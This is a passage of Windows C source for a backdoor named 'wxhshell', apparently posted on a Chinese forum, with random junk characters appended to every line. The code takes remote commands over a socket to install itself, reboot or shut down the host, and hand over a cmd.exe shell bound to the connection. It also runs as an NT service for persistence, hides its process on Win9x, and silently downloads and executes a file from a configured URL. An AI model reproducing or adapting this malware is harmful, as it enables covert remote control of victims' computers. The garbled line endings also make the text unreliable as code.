  // 帮助 kqm(D#  
  case '?': { O7Jux-E1C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =`QYy-b X  
    break; uQKQC?w  
  } )\#*~73  
  // 安装 h@Ea5x  
  case 'i': { mLqqo2u  
    if(Install()) A4!X{qUT-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{buel(|e  
    else Wu^Rv-xA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }q`9U!v  
    break; X'jyR:ut#  
    } <@"rI>=  
  // 卸载 %*}rLn"?  
  case 'r': { D9[19,2r`  
    if(Uninstall()) 1oej<67PdJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I09 W=  
    else O{_t*sO9q*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vt{[_L(h  
    break; r=5 S0  
    } e{@RBYX@+c  
  // 显示 wxhshell 所在路径 J`U]Ux/L  
  case 'p': { !:!(=(4$P  
    char svExeFile[MAX_PATH]; pE&G]ZC  
    strcpy(svExeFile,"\n\r"); V ml 6\X  
      strcat(svExeFile,ExeFile); pOXI*0_g.  
        send(wsh,svExeFile,strlen(svExeFile),0); TvDSs])  
    break; x[)-h/&Fh  
    } RJ'[m~yl5X  
  // 重启 } +}nrJv  
  case 'b': { hm1s~@oEm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jg;[k  
    if(Boot(REBOOT)) a]u.Uqyx2w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q4[}b-fF  
    else { UeO/<ml3>J  
    closesocket(wsh); /=S@3?cQAB  
    ExitThread(0); ~^1y(-cw  
    } UHZ&7jfl  
    break; 5_aj]"x  
    } +PjTT6  
  // 关机 `s}L3bR]  
  case 'd': { iz#R)EB/g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N!(mM;1X)  
    if(Boot(SHUTDOWN)) o>r P\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &T,|?0>~=J  
    else { ZOEe-XW  
    closesocket(wsh); X$>F78e*  
    ExitThread(0); \R<MQ# x  
    } #{}?=/nJ~-  
    break; (<eLj Q  
    } N l@G\_  
  // 获取shell BA c+T  
  case 's': { KMj\A d  
    CmdShell(wsh); }#FV{C]  
    closesocket(wsh); wuH*a3(  
    ExitThread(0); +Ww] %`_  
    break; MW 7~=T  
  } * @4@eQF  
  // 退出 !0,q[|m  
  case 'x': { Wlhh0uy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >K9Ia4I,  
    CloseIt(wsh); fEZuv?@  
    break; <?KPyg2  
    } =7<JD}G  
  // 离开 /y G34) aB  
  case 'q': { LS[o7!T(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \#HW.5  
    closesocket(wsh); JD$g%hcVZa  
    WSACleanup(); YGo?%.X  
    exit(1);  4u:SE   
    break; }gkLO TJ/,  
        } uvbVb"\"Yk  
  } P\j\p =  
  } =y][j+WH  
}=/zG!+  
  // 提示信息 @:}c(j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y|6n:<o  
}  O`@Nl  
  } Fa%1] R  
lnyb4d/  
  return; eM<N?9s  
} kkq1:\pZ]a  
ab2FK  
// shell模块句柄 ]bY|>q  
int CmdShell(SOCKET sock) eA4D.7HDK  
{ ,m=G9QcN  
STARTUPINFO si; EB[T 5{  
ZeroMemory(&si,sizeof(si)); N(7 XILC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z\nDR|3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A9.TRKb=8  
PROCESS_INFORMATION ProcessInfo; ^O_Z5NbC3  
char cmdline[]="cmd"; <l<O2l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]I\GnDJ^  
  return 0; .^wpfS  
} c<_%KL&R  
CVfV    
// 自身启动模式 r^~+ <"  
int StartFromService(void) >5CK&6  
{ (03/4*g_s  
typedef struct S~Gse+*  
{ M`cxxDj&j  
  DWORD ExitStatus; g$K\rA  
  DWORD PebBaseAddress; cqG6di7#  
  DWORD AffinityMask; pp@ Owpb  
  DWORD BasePriority; V'i-pn2gyu  
  ULONG UniqueProcessId; '#+&?6p  
  ULONG InheritedFromUniqueProcessId; N{v)pu.  
}   PROCESS_BASIC_INFORMATION; =LaEEL  
Ek L2nI  
PROCNTQSIP NtQueryInformationProcess; u_k[< &$  
iJzBd7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WWunS|B!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _9h$8(wjn  
[J,.?'V  
  HANDLE             hProcess; no*)M7  
  PROCESS_BASIC_INFORMATION pbi; ~&<#H+O  
4CM'I~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %hVR|K|J  
  if(NULL == hInst ) return 0; h!w::cV  
8}0wSVsxV$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <O1R*CaP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8%9 C<+.R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /.SG? 5t4  
T`x|=}  
  if (!NtQueryInformationProcess) return 0; {srP3ll P  
E#J})cPzw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f!'i5I]  
  if(!hProcess) return 0; fp [gKRSF  
4'O,xC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?9~^QRLT  
(7R?T}  
  CloseHandle(hProcess); y#GHmHeh  
Cy;UyZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q}LDFsU  
if(hProcess==NULL) return 0;  lbHgxZ  
dbby.%  
HMODULE hMod;  QHNyH  
char procName[255]; ~[%CUc"  
unsigned long cbNeeded; EOB8|:*  
0>{ ]*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a}UmD HS-  
hN3FH# YO  
  CloseHandle(hProcess); ;u<Ah?w=Z  
K0gQr.J53  
if(strstr(procName,"services")) return 1; // 以服务启动 +M-tYE 5n  
D4L&6[W  
  return 0; // 注册表启动 Bv<gVt  
} kOydh(yE  
r07u6OA  
// 主模块 DB|1Sqjsn  
int StartWxhshell(LPSTR lpCmdLine) ^ptybVo  
{ JN wI{  
  SOCKET wsl;  @lN\.O  
BOOL val=TRUE; \W*L9azr  
  int port=0; t%}<S~"  
  struct sockaddr_in door; R;OPY?EeW  
yNI0Do 2  
  if(wscfg.ws_autoins) Install(); ,6>3aD1w~q  
=z'(FP5!0  
port=atoi(lpCmdLine); c""&He4zp  
mh3S?Uc  
if(port<=0) port=wscfg.ws_port; X)3(.L  
JWb +  
  WSADATA data; b G:\*1T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U`(=iyWP=  
CTNL->  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wMVUTm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 91]|4k93  
  door.sin_family = AF_INET; WoTeIkM9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gv`_+E{P  
  door.sin_port = htons(port); 9S%5 Z>  
K%J?'-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -.h)CM@L  
closesocket(wsl);  vD#U+  
return 1; (=!At)O  
} {[!<yUJ`S#  
!y d B,S  
  if(listen(wsl,2) == INVALID_SOCKET) { d0>U-.  
closesocket(wsl); ce;7  
return 1; HP8J\`  
}  t;o\"H  
  Wxhshell(wsl); }B-$}  
  WSACleanup(); @vl$[Z|  
!8G)` '  
return 0; Vgj#-7bdyi  
a 8k2*u  
} V}s/knd  
_.JQ h   
// 以NT服务方式启动 L3%frIUd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {xZY4b2  
{ $'V^_|EL7  
DWORD   status = 0; _pTcSp 3  
  DWORD   specificError = 0xfffffff; <odi>!ViH  
XM:BMd|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $}&a*c>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c]M+|R5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cp Ot?XYR~  
  serviceStatus.dwWin32ExitCode     = 0; hL3up]pZ  
  serviceStatus.dwServiceSpecificExitCode = 0; X~r9yl>  
  serviceStatus.dwCheckPoint       = 0; LACrg  
  serviceStatus.dwWaitHint       = 0; o ]*yI[\  
x {NBhq(4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !/p|~K  
  if (hServiceStatusHandle==0) return; )J 'F]s  
lq9|tt6Z  
status = GetLastError(); nq!=9r  
  if (status!=NO_ERROR) IH`Q=Pj  
{ FDl/7P`b(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C'I&<  
    serviceStatus.dwCheckPoint       = 0; 4!/QB6  
    serviceStatus.dwWaitHint       = 0; ?,$:~O* w  
    serviceStatus.dwWin32ExitCode     = status; d~<$J9%  
    serviceStatus.dwServiceSpecificExitCode = specificError; d_`MS@2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rnK]3Ust  
    return; Wr[LC&  
  } xQ"uC!Gu4  
q1VKoKb6\:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T ~xVHk1  
  serviceStatus.dwCheckPoint       = 0; (u 7Lh>6%  
  serviceStatus.dwWaitHint       = 0; <SNr\/aCRi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *F( qg%1+  
} 'UX^]  
J,W $\V]p  
// 处理NT服务事件,比如:启动、停止 $ +WXM$N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X;!*D  
{ Dl/ C?Fll  
switch(fdwControl) D/E5&6  
{ AOg'4  
case SERVICE_CONTROL_STOP: &| (K#|^@  
  serviceStatus.dwWin32ExitCode = 0; QP'sS*saJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?6_]^:s  
  serviceStatus.dwCheckPoint   = 0; &oMEz 0  
  serviceStatus.dwWaitHint     = 0; i431mpMa  
  { T:Cq}4k<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E3'I;  
  } }n&nuaj  
  return; KiXfR\S~C  
case SERVICE_CONTROL_PAUSE: fn<dr(Dx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zLl-{Kk  
  break; }uDpf0;^  
case SERVICE_CONTROL_CONTINUE: F$8:9eL,T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bhUE!h<  
  break; &n1Vv_Lb  
case SERVICE_CONTROL_INTERROGATE: }Q`+hJ0  
  break; YW7w>}aW  
}; % f;v$rsZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RJ?)O#}  
} ~m fG Yk"  
Uc!k)o#=  
// 标准应用程序主函数 zYaFbNi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q b^{`  
{  GAfc9  
P.Tnq  
// 获取操作系统版本 uRy}HLZ"  
OsIsNt=GetOsVer(); G+=G c(J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bg|$1ue  
j*QdD\)  
  // 从命令行安装 ZW;Ec+n_K  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qy9_tvq X  
:0@0muo  
  // 下载执行文件 _EMX x4J  
if(wscfg.ws_downexe) { ?Q_ @@)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ihf>FMl:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]ttF''lH  
} vL_yM  
|4DN2P  
if(!OsIsNt) { al#(<4sJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?J$k 5;  
HideProc(); x6K_!L*Fx]  
StartWxhshell(lpCmdLine); 2Ug_3ZuU  
} fOMaTnm'  
else h_ t`)]-  
  if(StartFromService()) 3fLdceT  
  // 以服务方式启动 % (h6m${j  
  StartServiceCtrlDispatcher(DispatchTable); ;^:8F  
else k:n{AoUc  
  // 普通方式启动 3\Amj}RJ  
  StartWxhshell(lpCmdLine); iJOoO"Ai  
xlZh(pf  
return 0; J-+mdA  
}
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只看该作者 1 发表于: 2006-10-10
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